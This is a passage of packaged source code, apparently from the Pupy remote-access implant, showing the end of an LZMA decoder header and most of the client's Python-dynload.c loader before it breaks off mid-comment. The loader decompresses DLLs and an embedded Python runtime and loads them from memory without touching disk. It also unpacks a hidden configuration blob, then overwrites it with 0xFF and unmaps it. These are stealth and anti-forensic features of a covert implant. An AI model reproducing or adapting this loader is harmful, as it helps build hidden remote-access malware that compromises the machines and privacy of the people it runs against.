/* you must provide more input bytes */\n  LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK  /* there is probability that stream was finished without end mark */\n} ELzmaStatus;\n\n/* ELzmaStatus is used only as output value for function call */\n\n\n/* ---------- Interfaces ---------- */\n\n/* There are 3 levels of interfaces:\n     1) Dictionary Interface\n     2) Buffer Interface\n     3) One Call Interface\n   You can select any of these interfaces, but don't mix functions from different\n   groups for same object. */\n\n\n/* There are two variants to allocate state for Dictionary Interface:\n     1) LzmaDec_Allocate / LzmaDec_Free\n     2) LzmaDec_AllocateProbs / LzmaDec_FreeProbs\n   You can use variant 2, if you set dictionary buffer manually.\n   For Buffer Interface you must always use variant 1.\n\nLzmaDec_Allocate* can return:\n  SZ_OK\n  SZ_ERROR_MEM         - Memory allocation error\n  SZ_ERROR_UNSUPPORTED - Unsupported properties\n*/\n\nSRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc);\nvoid LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc);\n\nSRes LzmaDec_Allocate(CLzmaDec *state, const Byte *prop, unsigned propsSize, ISzAlloc *alloc);\nvoid LzmaDec_Free(CLzmaDec *state, ISzAlloc *alloc);\n\n/* ---------- Dictionary Interface ---------- */\n\n/* You can use it, if you want to eliminate the overhead for data copying from\n   dictionary to some other external buffer.\n   You must work with CLzmaDec variables directly in this interface.\n\n   STEPS:\n     LzmaDec_Constr()\n     LzmaDec_Allocate()\n     for (each new stream)\n     {\n       LzmaDec_Init()\n       while (it needs more decompression)\n       {\n         LzmaDec_DecodeToDic()\n         use data from CLzmaDec::dic and update CLzmaDec::dicPos\n       }\n     }\n     LzmaDec_Free()\n*/\n\n/* LzmaDec_DecodeToDic\n\n   The decoding to internal dictionary buffer (CLzmaDec::dic).\n   You must manually update CLzmaDec::dicPos, if it reaches CLzmaDec::dicBufSize !!!\n\nfinishMode:\n  It has meaning only if the decoding reaches output limit (dicLimit).\n  LZMA_FINISH_ANY - Decode just dicLimit bytes.\n  LZMA_FINISH_END - Stream must be finished after dicLimit.\n\nReturns:\n  SZ_OK\n    status:\n      LZMA_STATUS_FINISHED_WITH_MARK\n      LZMA_STATUS_NOT_FINISHED\n      LZMA_STATUS_NEEDS_MORE_INPUT\n      LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK\n  SZ_ERROR_DATA - Data error\n*/\n\nSRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit,\n    const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);\n\n\n/* ---------- Buffer Interface ---------- */\n\n/* It's zlib-like interface.\n   See LzmaDec_DecodeToDic description for information about STEPS and return results,\n   but you must use LzmaDec_DecodeToBuf instead of LzmaDec_DecodeToDic and you don't need\n   to work with CLzmaDec variables manually.\n\nfinishMode:\n  It has meaning only if the decoding reaches output limit (*destLen).\n  LZMA_FINISH_ANY - Decode just destLen bytes.\n  LZMA_FINISH_END - Stream must be finished after (*destLen).\n*/\n\nSRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen,\n    const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);\n\n\n/* ---------- One Call Interface ---------- */\n\n/* LzmaDecode\n\nfinishMode:\n  It has meaning only if the decoding reaches output limit (*destLen).\n  LZMA_FINISH_ANY - Decode just destLen bytes.\n  LZMA_FINISH_END - Stream must be finished after (*destLen).\n\nReturns:\n  SZ_OK\n    status:\n      LZMA_STATUS_FINISHED_WITH_MARK\n      LZMA_STATUS_NOT_FINISHED\n      LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK\n  SZ_ERROR_DATA - Data error\n  SZ_ERROR_MEM  - Memory allocation error\n  SZ_ERROR_UNSUPPORTED - Unsupported properties\n  SZ_ERROR_INPUT_EOF - It needs more bytes in input buffer (src).\n*/\n\nSRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,\n    const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode,\n    ELzmaStatus *status, ISzAlloc *alloc);\n\nEXTERN_C_END\n\n#endif\n"
  },
  {
    "path": "client/common/Python-dynload.c",
    "content": "/* **************** Python-dynload.c **************** */\n#include \"Python-dynload.h\"\n#include \"Python-dynload-os.h\"\n\n\ntypedef struct dependency {\n    const char* name;\n    const char *bytes;\n    size_t size;\n    BOOL is_python;\n} dependency_t;\n\nstruct py_imports py_sym_table[] = {\n#include \"import-tab.c\"\n    { NULL, NULL }, /* sentinel */\n};\n\nstatic char __config__[500000] = \"####---PUPY_CONFIG_COMES_HERE---####\\n\";\n\nstatic PyGILState_STATE restore_state;\nstatic BOOL is_initialized = FALSE;\nstatic const PyObject *py_stdlib_G = NULL;\n\n/* Likely-to-be-used modules */\nstatic const char *preload_modules[] = {\n    \"types\",\n    //\"linecache\",\n    \"codecs\",\n\n    \"_weakrefset\",\n    \"_py_abc\",\n    \"abc\",\n    \"__future__\",\n    \"warnings\",\n    \"importlib._bootstrap\",\n    \"sre_constants\",\n    \"sre_parse\",\n    \"sre_compile\",\n    \"struct\",\n    ENCODINGS \".aliases\",\n\n    NULL\n};\n\n#include \"lzmaunpack.c\"\n#include \"library.c\"\n\nstatic PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init);\n\nstatic HMODULE xz_dynload(const char *libname, const char *xzbuf, size_t xzsize, void *arg) {\n    HMODULE hModule;\n    void *uncompressed = NULL;\n    Py_ssize_t uncompressed_size = 0;\n\n    dprint(\"Uncompressing %s from %p (size=%d\\n)\\n\", libname, xzbuf, xzsize);\n\n    uncompressed = lzmaunpack(xzbuf, xzsize, &uncompressed_size);\n\n    if (!uncompressed) {\n        dprint(\"%s decompression failed\\n\", libname);\n        return NULL;\n    }\n\n    dprint(\"%s decompressed to %p (size=%d)\\n\", libname, uncompressed, uncompressed_size);\n\n    hModule = MemLoadLibrary(\n        libname, (char *) uncompressed, uncompressed_size, arg\n    );\n\n#if FREE_HMODULE_AFTER_LOAD\n    lzmafree(uncompressed, uncompressed_size);\n#endif\n\n    if (!hModule) {\n        dprint(\"loading %s from memory failed\\n\", libname);\n        return NULL;\n    }\n\n    return hModule;\n}\n\nPyObject* load_stdlib() {\n\tif(py_stdlib_G == NULL) {\n\t\tPyObject *py_stdlib;\n\t\tdprint(\"Stdlib size: %d\\n\", library_c_size);\n\t\tpy_stdlib = PyDict_lzmaunpack(library_c_start, library_c_size);\n\t\tif (!py_stdlib) {\n\t\t\tdprint(\"load_stdlib: PyDict_lzmaunpack() -> Error unpacking py_stdlib\\n\");\n\t\t\treturn NULL;\n\t\t}\n\t\tPy_IncRef(py_stdlib);\n\n\t\tdprint(\"Stdlib unpacked: %p\\n\", py_stdlib);\n\t\tpy_stdlib_G = py_stdlib;\n\n\t\tdprint(\"Unmap stdlib..\\n\");\n\t\tOSUnmapRegion(library_c_start, library_c_size);\n\t\tdprint(\"Unmap stdlib.. done\\n\");\n\t\treturn py_stdlib;\n\t} else {\n\t\tdprint(\"stdlib already loaded\\n\");\n\t\treturn py_stdlib_G;\n\t}\n}\n\nstatic\nsize_t last_chr_offt(const char *cstr, char chr) {\n    int found_any = 0;\n    size_t last_found = 0;\n    size_t offt;\n\n    for (offt=0; cstr && cstr[offt]; offt++) {\n        if (cstr[offt] == chr) {\n            found_any = 1;\n            last_found = offt;\n        }\n    }\n\n    if (found_any)\n        return last_found;\n    else\n        return offt;\n}\n\n\nBOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {\n    HMODULE hPython = NULL;\n    PyObject *py_argv = NULL;\n    PyObject *py_empty_list = NULL;\n    dependency_t dependencies[] = DEPENDENCIES;\n    resolve_symbol_t resolver = NULL;\n    dependency_t *dependency = NULL;\n    struct py_imports *py_sym = NULL;\n    int i;\n\n    if (is_initialized) {\n        return TRUE;\n    }\n#ifdef DEBUG_USE_OS_PYTHON\n    hPython = OSLoadLibrary(\"python310.dll\");\n    resolver = OSResolveSymbol;\n#else\n    for (dependency=dependencies; !hPython; dependency ++) {\n        HMODULE hModule = CheckLibraryLoaded(dependency->name);\n\n        if (hModule) {\n            if (dependency->is_python) {\n                hPython = hModule;\n                resolver = OSResolveSymbol;\n            }\n\n            continue;\n        }\n\n        dprint(\"Loading %s\\n\", dependency->name);\n\n        hModule = xz_dynload(\n            dependency->name, dependency->bytes, dependency->size, NULL\n        );\n\n        dprint(\"Loaded %s -> %p\\n\", dependency->name, hModule);\n\n        OSUnmapRegion(dependency->bytes, dependency->size);\n\n        if (!hModule) {\n            dprint(\"%s: load failed\\n\", dependency->name);\n            return FALSE;\n        }\n\n        if (dependency->is_python) {\n            hPython = hModule;\n            resolver = MemResolveSymbol;\n        }\n    }\n#endif\n\n    dprint(\"Loading python from %p\\n\", hPython);\n\n    for (py_sym = py_sym_table; py_sym->name; py_sym ++) {\n        py_sym->proc = (void (*)()) resolver(hPython, py_sym->name);\n        if (py_sym->proc == NULL) {\n            dprint(\"undefined symbol %s\\n\", py_sym->name);\n            return FALSE;\n        }\n    }\n\n\n\n    dprint(\"Initializing Path & Flags ...\\n\");\n    if(!Py_IsInitialized()) {\n        dprint(\"Py not initialized yet\\n\");\n       \n        dprint(\"Setting python flags ...\\n\");\n        char * pgm = OSGetProgramName();\n        wchar_t wtext[PATH_MAX];\n        mbstowcs(wtext, pgm, strlen(pgm)+1);//Plus null\n\n        //wchar_t * path= \"\";\n        Py_SetProgramName(wtext);\n        //wchar_t libfilename[PATH_MAX];\n        //GetModuleFileNameW(NULL, libfilename, sizeof(libfilename));\n        //dprint(\"libfilename: %S\\n\",libfilename);\n        wchar_t *wchar_paths = Py_DecodeLocale(\".\", NULL);\n        Py_SetPath(wchar_paths);\n        \n        /* \n        wchar_t * ppath = Py_GetPath();\n        if (ppath)\n            memset(ppath, '\\0', strlen(ppath));\n        */\n        \n\t    PyStatus status;\n\n\t\tPyPreConfig preconfig;\n\n        dprint(\"init python preconfig\\n\");\n        /*\n\t\ttypedef void (CALLBACK* PyPreConfig_InitPythonConfigT)(PyPreConfig *);\n\t\tPyPreConfig_InitPythonConfigT PyPreConfig_InitPythonConfig;\n        (PyPreConfig_InitPythonConfigT)PyPreConfig_InitPythonConfig = MyGetProcAddress(hPython, \"PyPreConfig_InitPythonConfig\");\n        */\n\t\tPyPreConfig_InitPythonConfig(&preconfig);\n\t\t//preconfig.legacy_windows_fs_encoding = 0;\n\t\t//preconfig.isolated = 0;\n        preconfig.use_environment = 0;\n\t\t//preconfig.utf8_mode = 1;\n\t\n        dprint(\"call preinitialize\\n\");\n\t\tPy_PreInitialize(&preconfig);\n\n\t\t\n\t\t\n\t\tPyConfig config;\n\t\t//typedef void (CALLBACK* PyConfig_InitPythonConfigT)(PyConfig *);\n        //(PyConfig_InitPythonConfigT)PyConfig_InitPythonConfig = MyGetProcAddress(hPython, \"PyConfig_InitPythonConfig\");\n\t\t\n        dprint(\"init python config\\n\");\n\t\tPyConfig_InitPythonConfig(&config);\n        \n\t\tconfig._init_main = 0;\n\t\tconfig.isolated = 0;\n        config.site_import = 0;\n        config.user_site_directory = 0;\n        config.write_bytecode = 0;\n        \n\n        dprint(\"Py_InitializeFromConfig\\n\");\n\n\t\tstatus = Py_InitializeFromConfig(&config);\n\n\n\n        /*\n        Py_IsolatedFlag = 1;\n        Py_OptimizeFlag = 2;\n        Py_UnbufferedStdioFlag = 1;\n        Py_FileSystemDefaultEncoding = FILE_SYSTEM_ENCODING;\n        Py_NoSiteFlag = 1;\n        Py_DontWriteBytecodeFlag = 1;\n        Py_NoUserSiteDirectory = 1;\n        Py_IgnoreEnvironmentFlag = 1;\n       \n        \n        */\n\n        //int * Py_IsolatedFlagPTR = (int *)MyGetProcAddress(hPython, \"Py_IsolatedFlag\");\n        //*Py_IsolatedFlagPTR = 1;\n\n\t\t//PyConfig_Clear(&config);\n\n\t\t\n        //Py_Initialize();\n        //Py_InitializeEx(is_shared_object? 0 : 1);\n        dprint(\"done\\n\");\n\n\n        \n        \n\n        dprint(\"calling PyEval_InitThreads\\n\");\n        PyEval_InitThreads();\n    }\n\n\n    dprint(\"calling PyGILState_Ensure\\n\");\n    restore_state = PyGILState_Ensure();\n\n    py_empty_list = PyList_New(0);\n    if (!py_empty_list) {\n        dprint(\"Couldn't allocate list for sys.path\\n\");\n        goto lbExit1;\n    }\n\n    PySys_SetObject(\"path\", py_empty_list);\n    \n\n    dprint(\"SET ARGV (ARGC=%d; SHARED? %d)\\n\", argc, is_shared_object);\n\n    if (is_shared_object) {\n        if (argc > 2 && !strcmp(argv[1], \"--pass-args\")) {\n            argv[1] = argv[0];\n            argc -= 1;\n            argv += 1;\n        } else {\n            argc = 1;\n        }\n    }\n\n    py_argv = PyList_New(0);\n    if (!py_argv) {\n        dprint(\"Couldn't allocate list for argv\\n\");\n        goto lbExit1;\n    }\n\n    Py_IncRef(py_argv);\n\n    for (i = 0; i<argc && argv[i]; i++) {\n        PyList_Append(py_argv, PyUnicode_FromString(argv[i]));\n    }\n\n    PySys_SetObject(\"executable\", PyUnicode_FromString(OSGetProgramName()));\n    PySys_SetObject(\"argv\", py_argv);\n\n    Py_DecRef(py_argv);\n\n    //setup_jvm_class();\n\n    dprint(\"Python initialized\\n\");\n    return TRUE;\n\nlbExit1:\n    return FALSE;\n}\n\n\nstatic\nPyObject *py_eval_package_init(\n    const char *name, PyObject *co_code,\n        const char *vpath, const char *path, int is_init)\n{\n    PyObject *new_module;\n    PyObject *new_module_dict;\n    PyObject *builtins;\n    PyObject *py_eval_result;\n    PyObject *modules = NULL;\n\n    size_t last_dm = 0;\n\n    modules = PySys_GetObject(\"modules\");\n    if (!modules) {\n        dprint(\n            \"py_eval_package_init(%s) :: can't get sys.modules\\n\",\n            name\n        );\n\n        return NULL;\n    }\n\n    new_module = PyImport_AddModule(name);\n    if (!new_module) {\n        dprint(\n            \"py_eval_package_init(%s) - PyImport_AddModule failed\\n\", name\n        );\n\n        return NULL;\n    }\n\n    new_module_dict = PyModule_GetDict(new_module);\n\n    PyObject_SetAttrString(\n        new_module, \"__file__\", PyUnicode_FromString(vpath));\n\n    dprint(\n        \"py_eval_package_init(%s) %p.__file__ = %s\\n\",\n        name, new_module, vpath\n    );\n\n    last_dm = last_chr_offt(name, '.');\n\n    if (is_init) {\n        PyObject *key, *value;\n        Py_ssize_t pos = 0;\n        Py_ssize_t name_len = strlen(name);\n\n        PyObject_SetAttrString(\n            new_module, \"__package__\", PyUnicode_FromString(name)\n        );\n\n        dprint(\n            \"py_eval_package_init(%s) %p.__package__ = %s\\n\",\n            name, new_module, name\n        );\n\n\n        dprint(\n            \"py_eval_package_init(%s): iterate modules at %p\\n\", name, modules\n        );\n        \n        /* Need to find/set all childs */\n        while (PyDict_Next(modules, &pos, &key, &value)) {\n            dprint(\"iteration: %d\\n\", pos);\n            const char *modname = NULL;\n            Py_ssize_t modname_len = 0;\n            /*\n            if (PyUnicode_FromStringAndSize(&modname, &modname_len) < 0) {\n                dprint(\n                    \"py_eval_package_init(%s) :: key at %d is not a string\\n\",\n                    name, pos\n                );\n\n                PyErr_Clear();\n            }*/\n\n            modname = PyUnicode_AsUTF8AndSize(key, &modname_len);\n\n            if (! (modname && modname_len)) {\n                dprint(\n                    \"py_eval_package_init(%s) :: nothing to compare\\n\",\n                    name\n                );\n                continue;\n            }\n            dprint(\"modname: %s modname_len: %d name_len: %d\\n\", modname, modname_len, name_len );\n            \n            /*\n            if (strncmp(\"pupy.\", modname, 5)) {\n                continue;\n            }\n            */\n            if (modname_len < name_len + 2)\n                continue;\n\n            if (strncmp(name, modname, name_len))\n                continue;\n\n            if (modname[name_len] != '.')\n                continue;\n\n            dprint(\n                \"py_eval_package_init(%s) :: child: %s\\n\",\n                name, modname + name_len + 1\n            );\n\n            PyObject_SetAttrString(\n                new_module, modname + name_len + 1, value\n            );\n        }\n    } else if (last_dm) {\n        PyObject *py_tmp = PyUnicode_FromStringAndSize(\n            name, last_dm\n        );\n\n        dprint(\n            \"py_eval_package_init(%s) %p.__package__ = %s\\n\",\n            name, new_module, PyUnicode_AsUTF8(py_tmp)\n        );\n\n        PyObject_SetAttrString(\n            new_module, \"__package__\", py_tmp\n        );\n    }\n\n    last_dm = last_chr_offt(vpath + sizeof(VPATH_PREFIX), '/');\n\n    if (last_dm) {\n        PyObject *py_vpath;\n\n        last_dm += sizeof(VPATH_PREFIX);\n\n        py_vpath = PyBytes_FromStringAndSize(\n            vpath, last_dm);\n\n        PyObject_SetAttrString(\n            new_module, \"__path__\", Py_BuildValue(\"[O]\", py_vpath));\n\n        Py_DecRef(py_vpath);\n\n        dprint(\n            \"py_eval_package_init(%s) %p.__path__ = [%s] (refs=%d)\\n\",\n            name, new_module, PyBytes_AsString(py_vpath), Py_RefCnt(py_vpath)\n        );\n    }\n\n    //builtins = PyEval_GetBuiltins();\n    builtins = PyImport_Import(PyUnicode_FromString(\"builtins\"));\n    if (!builtins) {\n        dprint(\"py_eval_package_init(%s) : could not import builtins module\\n\", name);\n    }\n    Py_IncRef(builtins);\n    PyDict_SetItemString(new_module_dict, \"__builtins__\", builtins);\n\n    dprint(\n        \"py_eval_package_init(%s) %p.__dict__['__builtins__'] = %p (refcnt=%d)\\n\",\n        name, new_module, builtins, Py_RefCnt(builtins)\n    );\n\n    py_eval_result = PyEval_EvalCode(\n        co_code, new_module_dict, new_module_dict);\n\n    if (!py_eval_result) {\n        // FIXME: Delete from sys.modules (?)\n        if (PyDict_DelItemString(modules, name) < 0) {\n            dprint(\n                \"py_eval_package_init(%s) Failed to delete from sys.modules\\n\", name\n            );\n        }\n        return NULL;\n    }\n\n    Py_DecRef(py_eval_result);\n\n    dprint(\n        \"py_eval_package_init(%s) -> builtins %p (refcnt=%d)\\n\",\n        name, builtins, Py_RefCnt(builtins)\n    );\n\n    dprint(\n        \"py_eval_package_init(%s) -> %p (refcnt=%d) __dict__ %p (refcnt=%d) co_code %p (refcnt=%d)\\n\",\n        name,\n        new_module, Py_RefCnt(new_module),\n        new_module_dict, Py_RefCnt(new_module_dict),\n        co_code, Py_RefCnt(co_code)\n    );\n\n    return new_module;\n}\n\n/*\nBOOL load_c_extension_from_stdlib(PyObject *py_stdlib, const char *name) {\n    PyObject *pybody = NULL;\n    char *pybody_c_ptr = NULL;\n    Py_ssize_t pybody_c_size = 0;\n    char * vpath_name;\n    char * func_name;\n    size_t vpath_len;\n    BOOL result = TRUE;\n    \n    vpath_len = strlen(name) + 5;\n    vpath_name = (char *) OSAlloc(vpath_len);\n    if (!vpath_name)\n        goto lbMemFailure1;\n    func_name = (char *) OSAlloc(vpath_len+10);\n    if (!vpath_name)\n        goto lbMemFailure1;\n\n    memset(vpath_name, '\\0', vpath_len);\n    strcat(vpath_name, name);\n#ifdef _WIN32\n    strcat(vpath_name, \".pyd\");\n#else\n    strcat(vpath_name, \".so\");\n#endif\n\n    memset(func_name, '\\0', vpath_len+10);\n    strcat(func_name, \"PyInit_\");\n    strcat(func_name, name);\n\n    dprint(\"loading C extension from stdlib: %s\\n\", vpath_name);\n\n    pybody = PyDict_GetItemString(py_stdlib, vpath_name);\n    if (!pybody) {\n        dprint(\n            \"load_c_extension_from_stdlib(%s) -> %s not found in stdlib\\n\",\n            name, vpath_name\n        );\n\n        PyErr_SetString(PyExc_ImportError, name);\n        result = FALSE;\n        goto lbFreeVpath;\n    }\n\n    HMODULE hModule = CheckLibraryLoaded(vpath_name);\n    if (hModule) {\n        dprint(\"library %s already loaded\\n\", vpath_name);\n        return FALSE;\n    }\n\n\n    if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) {\n        dprint(\n            \"load_c_extension_from_stdlib(%s) -> %s -> Invalid type?\\n\",\n            name, vpath_name\n        );\n        result = FALSE;\n        goto lbFreeVpath;\n    }\n\n#ifdef _WIN32\n    if(!(pybody_c_ptr[0]=='M' && pybody_c_ptr[1]=='Z')) {\n        dprint(\"extension %s is not a PE ??\\n\", vpath_name);\n        goto lbFreeVpath;\n    }\n#endif\n\n    ULONG_PTR cookie = 0;\n\n    cookie = _My_ActivateActCtx();\n    hModule = MemLoadLibrary(\n        vpath_name, pybody_c_ptr, pybody_c_size, NULL\n    );\n    _My_DeactivateActCtx(cookie);\n    if (!hModule) {\n        dprint(\"MemLoadLibrary( %s ) failed\\n\", vpath_name);\n        result = FALSE;\n        goto lbFreeVpath;\n    }\n\n    char * oldcontext = _Py_PackageContext;\n    _Py_PackageContext = name;\n\n    typedef FARPROC (*PyInitT)(void);\n    PyInitT PyInitF;\n    PyInitF = (PyInitT)MemResolveSymbol(hModule, func_name);\n    PyInitF();\n\n    _Py_PackageContext = oldcontext;\n    if (PyErr_Occurred())\n        result=FALSE;\n    //PyImport_AppendInittab(name, func_name);\n\n    lbFreeVpath:\n        OSFree(vpath_name);\n        OSFree(func_name);\n\n    return result;\n\n    lbMemFailure1:\n        return PyErr_NoMemory();\n}\n*/\n\n\n\nstatic PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *name, int is_init) {\n    PyObject *module = NULL;\n    PyObject *pybody = NULL;\n    PyObject *pybytecode = NULL;\n\n    char *pybody_c_ptr = NULL;\n    Py_ssize_t pybody_c_size = 0;\n\n    char *vpath_name = NULL;\n    char *path_name = NULL;\n    char *ptr = NULL;\n\n    int is_path = 1;\n\n    // pupy:// name /__init__.pyo\n    // OR\n    // pupy:// name .pyo\n\n    size_t vpath_len =\n        strlen(name)\n        + sizeof(VPATH_PREFIX) - 1\n        + (is_init? sizeof(VPATH_INIT_EXT) : sizeof(VPATH_EXT)) - 1\n        + 1\n        ;\n\n    vpath_name = (char *) OSAlloc(vpath_len);\n    if (!vpath_name)\n        goto lbMemFailure1;\n\n    memset(vpath_name, '\\0', vpath_len);\n    strcpy(vpath_name, VPATH_PREFIX);\n    strcat(vpath_name, name);\n\n    for (ptr=vpath_name; *ptr; ptr++)\n        if (*ptr == '.')\n            *ptr = '/';\n\n    if (is_init)\n        strcat(vpath_name, VPATH_INIT_EXT);\n    else\n        strcat(vpath_name, VPATH_EXT);\n\n    // same string without pupy://\n    path_name = vpath_name + sizeof(VPATH_PREFIX) - 1;\n\n    pybody = PyDict_GetItemString(py_stdlib, path_name);\n    if (!pybody) {\n        dprint(\n            \"py_module_from_library(%s, %d) -> %s (%s) not found in stdlib\\n\",\n            name, is_init, path_name, vpath_name\n        );\n\n        PyErr_SetString(PyExc_ImportError, name);\n        goto lbFreeVpath;\n    }\n\n    dprint(\n        \"py_module_from_library(%s, %d) -> %s found -> %p\\n\",\n        name, is_init, path_name, pybody\n    );\n\n    if (PyBytes_AsStringAndSize(pybody, &pybody_c_ptr, &pybody_c_size) == -1) {\n        dprint(\n            \"py_module_from_library(%s, %d) -> %s -> Invalid type?\\n\",\n            name, is_init, path_name\n        );\n\n    goto lbFreeVpath;\n    }\n\n    dprint(\n        \"py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d\\n\",\n        name, is_init, path_name, pybody,\n        pybody_c_ptr, pybody_c_size\n    );\n\n    pybytecode = PyMarshal_ReadObjectFromString(\n        pybody_c_ptr + 8, pybody_c_size - 8\n    );\n\n    if (!pybytecode) {\n        dprint(\n            \"py_module_from_library(%s, %d) -> %s -> Invalid type (marshall error)?\\n\",\n            name, is_init, path_name\n        );\n\n        goto lbFreeVpath;\n    }\n\n    dprint(\n        \"py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d -> Unmarshalled -> %p\\n\",\n        name, is_init, path_name, pybody,\n        pybody_c_ptr, pybody_c_size,\n        pybytecode\n    );\n\n    // It's worth to continue\n    module = py_eval_package_init(name, pybytecode, vpath_name, path_name, is_init);\n    if (!module) {\n        dprint(\"py_module_from_library(%s, %d) -> Eval failed\\n\", name, is_init);\n        PyErr_Print();\n        goto lbFreePyBytecode;\n    }\n\n    dprint(\"py_module_from_library(%s, %d) -> %p\\n\", name, is_init, module);\n\n    //TODO: fix that\n    //PyDict_DelItemString(py_stdlib, path_name);\n\nlbFreePyBytecode:\n    Py_DecRef(pybytecode);\n\nlbFreeVpath:\n    OSFree(vpath_name);\n\n    return module;\n\nlbMemFailure1:\n    return PyErr_NoMemory();\n}\n\n\nvoid py_clear_sys_list(const char *name)\n{\n    PyObject *list_obj;\n    Py_ssize_t list_len;\n\n    list_obj = PySys_GetObject(name);\n    if (!list_obj) {\n        dprint(\"sys.%s not found\\n\", name);\n        PyErr_Clear();\n        return;\n    }\n\n    list_len = PyList_Size(list_obj);\n    if (list_len < 0) {\n        dprint(\"sys.%s is not list\\n\", name);\n        PyErr_Clear();\n        return;\n    }\n\n    if (PyList_SetSlice(list_obj, 0, list_len, NULL) < 0) {\n        dprint(\"sys.%s - failed to clear\\n\", name);\n        PyErr_Clear();\n        return;\n    }\n\n    dprint(\"sys.%s - cleared\\n\", name);\n}\n\n\nvoid py_clear_sys_dict(const char *name)\n{\n    PyObject *dict_obj;\n\n    dict_obj = PySys_GetObject(name);\n    if (!dict_obj) {\n        dprint(\"sys.%s not found\\n\", name);\n        PyErr_Clear();\n        return;\n    }\n\n    PyDict_Clear(dict_obj);\n    if (PyErr_Occurred()) {\n        dprint(\"sys.%s - failed to clear\\n\", name);\n        PyErr_Clear();\n        return;\n    }\n\n    dprint(\"sys.%s - cleared\\n\", name);\n}\n\n\nvoid run_pupy() {\n    union {\n        unsigned int l;\n        unsigned char c[4];\n    } len;\n\n    PyObject *pupy;\n\n    PyObject *py_config_list;\n    PyObject *py_pupylib;\n    PyObject *pupy_dict;\n    PyObject *py_debug;\n    PyObject *py_main;\n    PyObject *py_eval_result;\n    PyObject *py_config = NULL;\n\n\tPyObject *py_stdlib = load_stdlib();\n    const char **preload_module = NULL;\n    PyObject *py_stdlib_keys;\n    PyObject *py_stdlib_keys_iter;\n    PyObject *py_stdlib_keys_item;\n    PyStatus status;\n\n\n    PySys_SetObject(\"frozen\", PyBool_FromLong(1));\n\n    \n    \n    dprint(\"Load config\\n\");\n    dprint(\"config:\");\n    int i;\n    for (i=0; i<5; i++) {\n        dprint(\"%x\", __config__[i]);\n    }\n    len.c[3] = __config__[0];\n    len.c[2] = __config__[1];\n    len.c[1] = __config__[2];\n    len.c[0] = __config__[3];\n    dprint(\"\\n\");\n\n    if (len.l == 0x23232323) {\n        dprint(\"Config not found\\n\");\n        goto lbExit1;\n    }\n\n    dprint(\"Config size: %d\\n\", len.l);\n\n    py_config_list = PyObject_lzmaunpack(__config__+4, len.l);\n    if (!py_config_list) {\n        dprint(\"Config unpack failed\\n\");\n        PyErr_Print();\n        goto lbExit1;\n    }\n\n    dprint(\"Config parcel unpacked: %p\\n\", py_config_list);\n    dprint(\"Cleanup config\\n\");\n    memset(__config__, 0xFF, len.l + 4);\n\n    dprint(\"Unmap config\");\n    OSUnmapRegion(__config__, len.l);\n\n    py_config = PyList_GetItem(py_config_list, 0);\n    dprint(\"Get config: %p\\n\", py_config);\n\n    py_pupylib = PyList_GetItem(py_config_list, 1);\n    dprint(\"Get pupy: %p\\n\", py_pupylib);\n\n    dprint(\"Update stdlib\\n\");\n    PyDict_Update(py_stdlib, py_pupylib);\n    Py_IncRef(py_config);\n\n    \n    for (preload_module=preload_modules; *preload_module; preload_module ++) {\n        if (!py_module_from_stdlib(py_stdlib, *preload_module, 0))\n            goto lbExit4;\n    }\n\n    // the order of loading matters here\n    //\n    if (!py_module_from_stdlib(py_stdlib, \"keyword\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"operator\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"reprlib\", 0))\n        goto lbExit4;\n    \n    if (!py_module_from_stdlib(py_stdlib, \"_collections_abc\", 0))\n        goto lbExit4;\n    \n    if (!py_module_from_stdlib(py_stdlib, \"collections.abc\", 0))\n        goto lbExit4;\n\n    if (!py_module_from_stdlib(py_stdlib, \"collections\", 1)){\n        goto lbExit4;\n    }\n    \n    if (!py_module_from_stdlib(py_stdlib, \"functools\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"contextlib\", 0))\n        goto lbExit4;\n\n\n    if (!py_module_from_stdlib(py_stdlib, ENCODINGS, 1))\n        goto lbExit4;\n\n    if (!py_module_from_stdlib(py_stdlib, \"datetime\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"io\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"umsgpack\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"copyreg\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"enum\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"re\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"_compat_pickle\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"pickle\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"quopri\", 0))\n           goto lbExit4;\n\n    if (!py_module_from_stdlib(py_stdlib, \"importlib\", 1))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"importlib._abc\", 0))\n        goto lbExit4;\n    if (!py_module_from_stdlib(py_stdlib, \"importlib.util\", 0))\n        goto lbExit4;\n    //if (!py_module_from_stdlib(py_stdlib, \"pupy.utils\", 0))\n    //    goto lbExit4;\n    \n    \n    \n    \n    \n    //if (!py_module_from_stdlib(py_stdlib, \"stringprep\", 0))\n    //    goto lbExit4;\n //   if (!py_module_from_stdlib(py_stdlib, \"io\", 0))\n //       goto lbExit4;\n  /*  if (!py_module_from_stdlib(py_stdlib, \"re\", 0))\n        